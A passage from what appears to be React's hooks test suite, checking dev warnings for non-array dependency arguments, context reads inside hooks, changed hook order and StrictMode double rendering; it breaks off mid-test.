 it('warns if switching from dependencies to no dependencies', async () => {\n    const {useMemo} = React;\n    function App({text, hasDeps}) {\n      const resolvedText = useMemo(\n        () => {\n          Scheduler.log('Compute');\n          return text.toUpperCase();\n        },\n        hasDeps ? null : [text],\n      );\n      return resolvedText;\n    }\n\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    });\n    await act(() => {\n      root.update(<App text=\"Hello\" hasDeps={true} />);\n    });\n    assertLog(['Compute']);\n    expect(root).toMatchRenderedOutput('HELLO');\n\n    await act(() => {\n      root.update(<App text=\"Hello\" hasDeps={false} />);\n    });\n    assertConsoleErrorDev([\n      'useMemo received a final argument during this render, but ' +\n        'not during the previous render. Even though the final argument is ' +\n        'optional, its type cannot change between renders.\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('warns if deps is not an array', async () => {\n    const {useEffect, useLayoutEffect, useMemo, useCallback} = React;\n\n    function App(props) {\n      useEffect(() => {}, props.deps);\n      useLayoutEffect(() => {}, props.deps);\n      useMemo(() => {}, props.deps);\n      useCallback(() => {}, props.deps);\n      return null;\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(<App deps={'hello'} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    assertConsoleErrorDev([\n      'useEffect received a final argument that is not an array (instead, received `string`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useLayoutEffect received a final argument that is not an array (instead, received `string`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useMemo received a final argument that is not an array (instead, received `string`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useCallback received a final argument that is not an array (instead, received `string`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n    ]);\n    await act(() => {\n      ReactTestRenderer.create(<App deps={100500} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    assertConsoleErrorDev([\n      'useEffect received a final argument that is not an array (instead, received `number`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useLayoutEffect received a final argument that is not an array (instead, received `number`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useMemo received a final argument that is not an array (instead, received `number`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useCallback received a final argument that is not an array (instead, received `number`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n    ]);\n    await act(() => {\n      ReactTestRenderer.create(<App deps={{}} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    assertConsoleErrorDev([\n      'useEffect received a final argument that is not an array (instead, received `object`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useLayoutEffect received a final argument that is not an array (instead, received `object`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useMemo received a final argument that is not an array (instead, received `object`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n      'useCallback received a final argument that is not an array (instead, received `object`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n    ]);\n\n    await act(() => {\n      ReactTestRenderer.create(<App deps={[]} />, {\n        unstable_isConcurrent: true,\n      });\n      ReactTestRenderer.create(<App deps={null} />, {\n        unstable_isConcurrent: true,\n      });\n      ReactTestRenderer.create(<App deps={undefined} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n  });\n\n  it('warns if deps is not an array for useImperativeHandle', async () => {\n    const {useImperativeHandle} = React;\n\n    const App = React.forwardRef((props, ref) => {\n      useImperativeHandle(ref, () => {}, props.deps);\n      return null;\n    });\n    App.displayName = 'App';\n\n    await act(() => {\n      ReactTestRenderer.create(<App deps={'hello'} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    assertConsoleErrorDev([\n      'useImperativeHandle received a final argument that is not an array (instead, received `string`). ' +\n        'When specified, the final argument must be an array.\\n' +\n        '    in App (at **)',\n    ]);\n    await act(() => {\n      ReactTestRenderer.create(<App deps={null} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    await act(() => {\n      ReactTestRenderer.create(<App deps={[]} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    await act(() => {\n      ReactTestRenderer.create(<App deps={undefined} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n  });\n\n  it('does not forget render phase useState updates inside an effect', async () => {\n    const {useState, useEffect} = React;\n\n    function Counter() {\n      const [counter, setCounter] = useState(0);\n      if (counter === 0) {\n        setCounter(x => x + 1);\n        setCounter(x => x + 1);\n      }\n      useEffect(() => {\n        setCounter(x => x + 1);\n        setCounter(x => x + 1);\n      }, []);\n      return counter;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    await act(() => {\n      root.update(<Counter />);\n    });\n    expect(root).toMatchRenderedOutput('4');\n  });\n\n  it('does not forget render phase useReducer updates inside an effect with hoisted reducer', async () => {\n    const {useReducer, useEffect} = React;\n\n    const reducer = x => x + 1;\n    function Counter() {\n      const [counter, increment] = useReducer(reducer, 0);\n      if (counter === 0) {\n        increment();\n        increment();\n      }\n      useEffect(() => {\n        increment();\n        increment();\n      }, []);\n      return counter;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    await act(() => {\n      root.update(<Counter />);\n    });\n    expect(root).toMatchRenderedOutput('4');\n  });\n\n  it('does not forget render phase useReducer updates inside an effect with inline reducer', async () => {\n    const {useReducer, useEffect} = React;\n\n    function Counter() {\n      const [counter, increment] = useReducer(x => x + 1, 0);\n      if (counter === 0) {\n        increment();\n        increment();\n      }\n      useEffect(() => {\n        increment();\n        increment();\n      }, []);\n      return counter;\n    }\n\n    const root = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    await act(() => {\n      root.update(<Counter />);\n    });\n    expect(root).toMatchRenderedOutput('4');\n  });\n\n  it('warns for bad useImperativeHandle first arg', async () => {\n    const {useImperativeHandle} = React;\n    function App() {\n      useImperativeHandle({\n        focus() {},\n      });\n      return null;\n    }\n\n    await expect(async () => {\n      await act(() => {\n        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n      });\n    }).rejects.toThrow('create is not a function');\n    assertConsoleErrorDev([\n      'Expected useImperativeHandle() second argument to be a function ' +\n        'that creates a handle. Instead received: undefined.\\n' +\n        '    in App (at **)',\n      'Expected useImperativeHandle() first argument to either be a ' +\n        'ref callback or React.createRef() object. ' +\n        'Instead received: an object with keys {focus}.\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('warns for bad useImperativeHandle second arg', async () => {\n    const {useImperativeHandle} = React;\n    const App = React.forwardRef((props, ref) => {\n      useImperativeHandle(ref, {\n        focus() {},\n      });\n      return null;\n    });\n    App.displayName = 'App';\n\n    await act(() => {\n      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n    });\n    assertConsoleErrorDev([\n      'Expected useImperativeHandle() second argument to be a function ' +\n        'that creates a handle. Instead received: object.\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  // https://github.com/facebook/react/issues/14022\n  it('works with ReactDOMServer calls inside a component', async () => {\n    const {useState} = React;\n    function App(props) {\n      const markup1 = ReactDOMServer.renderToString(<p>hello</p>);\n      const markup2 = ReactDOMServer.renderToStaticMarkup(<p>bye</p>);\n      const [counter] = useState(0);\n      return markup1 + counter + markup2;\n    }\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n    });\n    expect(root.toJSON()).toMatchSnapshot();\n  });\n\n  it(\"throws when calling hooks inside .memo's compare function\", async () => {\n    const {useState} = React;\n    function App() {\n      useState(0);\n      return null;\n    }\n    const MemoApp = React.memo(App, () => {\n      useState(0);\n      return false;\n    });\n\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(<MemoApp />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    // trying to render again should trigger comparison and throw\n    await expect(\n      act(() => {\n        root.update(<MemoApp />);\n      }),\n    ).rejects.toThrow(\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    );\n    // the next round, it does a fresh mount, so should render\n    await expect(\n      act(() => {\n        root.update(<MemoApp />);\n      }),\n    ).resolves.not.toThrow(\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    );\n    // and then again, fail\n    await expect(\n      act(() => {\n        root.update(<MemoApp />);\n      }),\n    ).rejects.toThrow(\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    );\n  });\n\n  it('warns when calling hooks inside useMemo', async () => {\n    const {useMemo, useState} = React;\n    function App() {\n      useMemo(() => {\n        useState(0);\n      });\n      return null;\n    }\n    await act(() => {\n      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n    });\n    assertConsoleErrorDev([\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('warns when reading context inside useMemo', async () => {\n    const {useMemo, createContext} = React;\n    const ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\n    const ThemeContext = createContext('light');\n    function App() {\n      return useMemo(() => {\n        return ReactSharedInternals.H.readContext(ThemeContext);\n      }, []);\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n    });\n    assertConsoleErrorDev([\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('warns when reading context inside useMemo after reading outside it', async () => {\n    const {useMemo, createContext} = React;\n    const ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\n    const ThemeContext = createContext('light');\n    let firstRead, secondRead;\n    function App() {\n      firstRead = ReactSharedInternals.H.readContext(ThemeContext);\n      useMemo(() => {});\n      secondRead = ReactSharedInternals.H.readContext(ThemeContext);\n      return useMemo(() => {\n        return ReactSharedInternals.H.readContext(ThemeContext);\n      }, []);\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n    });\n    assertConsoleErrorDev([\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in App (at **)',\n    ]);\n    expect(firstRead).toBe('light');\n    expect(secondRead).toBe('light');\n  });\n\n  // Throws because there's no runtime cost for being strict here.\n  it('throws when reading context inside useEffect', async () => {\n    const {useEffect, createContext} = React;\n    const ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\n    const ThemeContext = createContext('light');\n    function App() {\n      useEffect(() => {\n        ReactSharedInternals.H.readContext(ThemeContext);\n      });\n      return null;\n    }\n\n    await act(async () => {\n      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n      // The exact message doesn't matter, just make sure we don't allow this\n      await waitForThrow('Context can only be read while React is rendering');\n    });\n  });\n\n  // Throws because there's no runtime cost for being strict here.\n  it('throws when reading context inside useLayoutEffect', async () => {\n    const {useLayoutEffect, createContext} = React;\n    const ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\n    const ThemeContext = createContext('light');\n    function App() {\n      useLayoutEffect(() => {\n        ReactSharedInternals.H.readContext(ThemeContext);\n      });\n      return null;\n    }\n\n    await expect(\n      act(() => {\n        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n      }),\n    ).rejects.toThrow(\n      // The exact message doesn't matter, just make sure we don't allow this\n      'Context can only be read while React is rendering',\n    );\n  });\n\n  it('warns when reading context inside useReducer', async () => {\n    const {useReducer, createContext} = React;\n    const ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\n    const ThemeContext = createContext('light');\n    function App() {\n      const [state, dispatch] = useReducer((s, action) => {\n        ReactSharedInternals.H.readContext(ThemeContext);\n        return action;\n      }, 0);\n      if (state === 0) {\n        dispatch(1);\n      }\n      return null;\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n    });\n    assertConsoleErrorDev([\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  // Edge case.\n  it('warns when reading context inside eager useReducer', async () => {\n    const {useState, createContext} = React;\n    const ThemeContext = createContext('light');\n\n    const ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\n    let _setState;\n    function Fn() {\n      const [, setState] = useState(0);\n      _setState = setState;\n      return null;\n    }\n\n    class Cls extends React.Component {\n      render() {\n        _setState(() => ReactSharedInternals.H.readContext(ThemeContext));\n\n        return null;\n      }\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(\n        <>\n          <Fn />\n          <Cls />\n        </>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    assertConsoleErrorDev([\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in Cls (at **)',\n      'Cannot update a component (`Fn`) while rendering a different component (`Cls`). ' +\n        'To locate the bad setState() call inside `Cls`, ' +\n        'follow the stack trace as described in https://react.dev/link/setstate-in-render\\n' +\n        '    in Cls (at **)',\n    ]);\n  });\n\n  it('warns when calling hooks inside useReducer', async () => {\n    const {useReducer, useState, useRef} = React;\n\n    function App() {\n      const [value, dispatch] = useReducer((state, action) => {\n        useRef(0);\n        return state + 1;\n      }, 0);\n      if (value === 0) {\n        dispatch('foo');\n      }\n      useState();\n      return value;\n    }\n\n    await expect(async () => {\n      await act(() => {\n        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n      });\n    }).rejects.toThrow(\n      'Update hook called on initial render. This is likely a bug in React. Please file an issue.',\n    );\n    assertConsoleErrorDev([\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n      'React has detected a change in the order of Hooks called by App. ' +\n        'This will lead to bugs and errors if not fixed. For more information, ' +\n        'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n' +\n        '\\n' +\n        '   Previous render            Next render\\n' +\n        '   ------------------------------------------------------\\n' +\n        '1. useReducer                 useReducer\\n' +\n        '2. useState                   useRef\\n' +\n        '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n' +\n        '\\n' +\n        '    in App (at **)',\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it(\"warns when calling hooks inside useState's initialize function\", async () => {\n    const {useState, useRef} = React;\n    function App() {\n      useState(() => {\n        useRef(0);\n        return 0;\n      });\n      return null;\n    }\n    await act(() => {\n      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});\n    });\n    assertConsoleErrorDev([\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('resets warning internal state when interrupted by an error', async () => {\n    const ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\n    const ThemeContext = React.createContext('light');\n    function App() {\n      React.useMemo(() => {\n        // Trigger warnings\n        ReactSharedInternals.H.readContext(ThemeContext);\n        React.useRef();\n        // Interrupt exit from a Hook\n        throw new Error('No.');\n      }, []);\n    }\n\n    class Boundary extends React.Component {\n      state = {};\n      static getDerivedStateFromError(error) {\n        return {err: true};\n      }\n      render() {\n        if (this.state.err) {\n          return 'Oops';\n        }\n        return this.props.children;\n      }\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(\n        <Boundary>\n          <App />\n        </Boundary>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    assertConsoleErrorDev([\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in App (at **)',\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in App (at **)',\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n    ]);\n\n    function Valid() {\n      React.useState();\n      React.useMemo(() => {});\n      React.useReducer(() => {});\n      React.useEffect(() => {});\n      React.useLayoutEffect(() => {});\n      React.useCallback(() => {});\n      React.useRef();\n      React.useImperativeHandle(\n        () => {},\n        () => {},\n      );\n      if (__DEV__) {\n        React.useDebugValue();\n      }\n      return null;\n    }\n    // Verify it doesn't think we're still inside a Hook.\n    // Should have no warnings.\n    await act(() => {\n      ReactTestRenderer.create(<Valid />, {unstable_isConcurrent: true});\n    });\n\n    // Verify warnings don't get permanently disabled.\n    await act(() => {\n      ReactTestRenderer.create(\n        <Boundary>\n          <App />\n        </Boundary>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    assertConsoleErrorDev([\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in App (at **)',\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, ' +\n        'but not inside Hooks like useReducer() or useMemo().\\n' +\n        '    in App (at **)',\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see https://react.dev/link/rules-of-hooks\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('double-invokes components with Hooks in Strict Mode', async () => {\n    const {useState, StrictMode} = React;\n    let renderCount = 0;\n\n    function NoHooks() {\n      renderCount++;\n      return <div />;\n    }\n\n    function HasHooks() {\n      useState(0);\n      renderCount++;\n      return <div />;\n    }\n\n    const FwdRef = React.forwardRef((props, ref) => {\n      renderCount++;\n      return <div />;\n    });\n\n    const FwdRefHasHooks = React.forwardRef((props, ref) => {\n      useState(0);\n      renderCount++;\n      return <div />;\n    });\n\n    const Memo = React.memo(props => {\n      renderCount++;\n      return <div />;\n    });\n\n    const MemoHasHooks = React.memo(props => {\n      useState(0);\n      renderCount++;\n      return <div />;\n    });\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(null, {unstable_isConcurrent: true});\n    });\n\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<NoHooks />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<NoHooks />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <NoHooks />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <NoHooks />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1);\n\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<FwdRef />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<FwdRef />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <FwdRef />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <FwdRef />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1);\n\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<Memo arg={1} />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<Memo arg={2} />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <Memo arg={1} />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <Memo arg={2} />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1);\n\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<HasHooks />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<HasHooks />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <HasHooks />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1); // Has Hooks\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <HasHooks />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1); // Has Hooks\n\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<FwdRefHasHooks />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<FwdRefHasHooks />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <FwdRefHasHooks />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1); // Has Hooks\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <FwdRefHasHooks />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1); // Has Hooks\n\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<MemoHasHooks arg={1} />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(<MemoHasHooks arg={2} />);\n    });\n    expect(renderCount).toBe(1);\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <MemoHasHooks arg={1} />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1); // Has Hooks\n    renderCount = 0;\n    await act(() => {\n      renderer.update(\n        <StrictMode>\n          <MemoHasHooks arg={2} />\n        </StrictMode>,\n      );\n    });\n    expect(renderCount).toBe(__DEV__ ? 2 : 1); // Has Hooks\n  });\n\n  it('double-invokes useMemo in DEV StrictMode despite []', async () => {\n    const {useMemo, StrictMode} = React;\n\n    let useMemoCount = 0;\n    function BadUseMemo() {\n      useMemo(() => {\n        useMemoCount++;\n      }, []);\n      return <div />;\n    }\n\n    useMemoCount = 0;\n    await act(() => {\n      ReactTestRenderer.create(\n        <StrictMode>\n          <BadUseMemo />\n        </StrictMode>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(useMemoCount).toBe(__DEV__ ? 2 : 1); // Has Hooks\n  });\n\n  describe('hook ordering', () => {\n    const useCallbackHelper = () => React.useCallback(() => {}, []);\n    const useContextHelper = () => React.useContext(React.createContext());\n    const useDebugValueHelper = () => React.useDebugValue('abc');\n    const useEffectHelper = () => React.useEffect(() => () => {}, []);\n    const useImperativeHandleHelper = () => {\n      React.useImperativeHandle({current: null}, () => ({}), []);\n    };\n    const useLayoutEffectHelper = () =>\n      React.useLayoutEffect(() => () => {}, []);\n    const useMemoHelper = () => React.useMemo(() => 123, []);\n    const useReducerHelper = () => React.useReducer((s, a) => a, 0);\n    const useRefHelper = () => React.useRef(null);\n    const useStateHelper = () => React.useState(0);\n\n    // We don't include useImperativeHandleHelper in this set,\n    // because it generates an additional warning about the inputs length changing.\n    // We test it below with its own test.\n    const orderedHooks = [\n      useCallbackHelper,\n      useContextHelper,\n      useDebugValueHelper,\n      useEffectHelper,\n      useLayoutEffectHelper,\n      useMemoHelper,\n      useReducerHelper,\n      useRefHelper,\n      useStateHelper,\n    ];\n\n    // We don't include useContext or useDebugValue in this set,\n    // because they aren't added to the hooks list and so won't throw.\n    const hooksInList = [\n      useCallbackHelper,\n      useEffectHelper,\n      useImperativeHandleHelper,\n      useLayoutEffectHelper,\n      useMemoHelper,\n      useReducerHelper,\n      useRefHelper,\n      useStateHelper,\n    ];\n\n    const useTransitionHelper = () => React.useTransition();\n    const useDeferredValueHelper = () =>\n      React.useDeferredValue(0, {timeoutMs: 1000});\n\n    orderedHooks.push(useTransitionHelper);\n    orderedHooks.push(useDeferredValueHelper);\n\n    hooksInList.push(useTransitionHelper);\n    hooksInList.push(useDeferredValueHelper);\n\n    const formatHookNamesToMatchErrorMessage = (hookNameA, hookNameB) => {\n      return `use${hookNameA}${' '.repeat(24 - hookNameA.length)}${\n        hookNameB ? `use${hookNameB}` : undefined\n      }`;\n    };\n\n    orderedHooks.forEach((firstHelper, index) => {\n      const secondHelper =\n        index > 0\n          ? orderedHooks[index - 1]\n          : orderedHooks[orderedHooks.length - 1];\n\n      const hookNameA = firstHelper.name\n        .replace('use', '')\n        .replace('Helper', '');\n      const hookNameB = secondHelper.name\n        .replace('use', '')\n        .replace('Helper', '');\n\n      it(`warns on using differently ordered hooks (${hookNameA}, ${hookNameB}) on subsequent renders`, async () => {\n        function App(props) {\n          if (props.update) {\n            secondHelper();\n            firstHelper();\n          } else {\n            firstHelper();\n            secondHelper();\n          }\n          // This should not appear in the warning message because it occurs after the first mismatch\n          useRefHelper();\n          return null;\n        }\n        let root;\n        await act(() => {\n          root = ReactTestRenderer.create(<App update={false} />, {\n            unstable_isConcurrent: true,\n          });\n        });\n        try {\n          await act(() => {\n            root.update(<App update={true} />);\n          });\n        } catch (error) {\n          // Swapping certain types of hooks will cause runtime errors.\n          // This is okay as far as this test is concerned.\n          // We just want to verify that warnings are always logged.\n        }\n        assertConsoleErrorDev([\n          'React has detected a change in the order of Hooks called by App. ' +\n            'This will lead to bugs and errors if not fixed. For more information, ' +\n            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n' +\n            '\\n' +\n            '   Previous render            Next render\\n' +\n            '   ------------------------------------------------------\\n' +\n            `1. ${formatHookNamesToMatchErrorMessage(hookNameA, hookNameB)}\\n` +\n            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n' +\n            '\\n' +\n            '    in App (at **)',\n        ]);\n\n        // further warnings for this component are silenced\n        try {\n          await act(() => {\n            root.update(<App update={false} />);\n          });\n        } catch (error) {\n          // Swapping certain types of hooks will cause runtime errors.\n          // This is okay as far as this test is concerned.\n          // We just want to verify that warnings are always logged.\n        }\n      });\n\n      it(`warns when more hooks (${hookNameA}, ${hookNameB}) are used during update than mount`, async () => {\n        function App(props) {\n          if (props.update) {\n            firstHelper();\n            secondHelper();\n          } else {\n            firstHelper();\n          }\n          return null;\n        }\n        let root;\n        await act(() => {\n          root = ReactTestRenderer.create(<App update={false} />, {\n            unstable_isConcurrent: true,\n          });\n        });\n\n        try {\n          await act(() => {\n            root.update(<App update={true} />);\n          });\n        } catch (error) 